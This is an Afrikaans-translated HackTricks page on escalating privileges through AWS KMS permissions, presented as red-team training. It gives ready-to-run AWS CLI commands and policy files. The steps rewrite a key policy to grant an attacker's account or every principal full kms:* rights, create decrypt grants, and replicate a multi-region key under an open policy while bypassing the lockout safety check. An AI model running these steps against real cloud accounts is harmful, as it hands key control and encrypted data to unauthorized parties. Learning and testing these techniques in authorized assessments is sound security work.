AWS - KMS Privesc

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

KMS

Vir meer inligting oor KMS kyk:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Met hierdie toestemmings is dit moontlik om die toegangsregte tot die sleutel te wysig sodat dit deur ander rekeninge gebruik kan word of selfs deur enigiemand:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Dit laat 'n hoofsaak toe om 'n KMS-sleutel te gebruik:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Let daarop dat dit dalk 'n paar minute kan neem vir KMS om die gebruiker toe te laat om die sleutel te gebruik nadat die toekenning gegenereer is. Nadat daardie tyd verstreke het, kan die hoofgebruiker die KMS-sleutel gebruik sonder om enigiets te spesifiseer. Indien dit egter nodig is om die toekenning onmiddellik te gebruik, gebruik 'n toekenningsteken (kontroleer die volgende kode). Vir meer inligting lees hierdie.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Merk op dat dit moontlik is om die toekenning van sleutels te lys met:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Met hierdie regte is dit moontlik om 'n multi-streek-geaktiveerde KMS-sleutel in 'n ander streek met 'n ander beleid te dupliseer.

Dus, 'n aanvaller kan dit misbruik om sy toegang tot die sleutel te verhoog en dit te gebruik

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Hierdie toestemming maak dit moontlik om 'n sleutel te gebruik om sekere inligting te dekodeer. Vir meer inligting, kyk:

AWS - KMS Post Exploitation
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated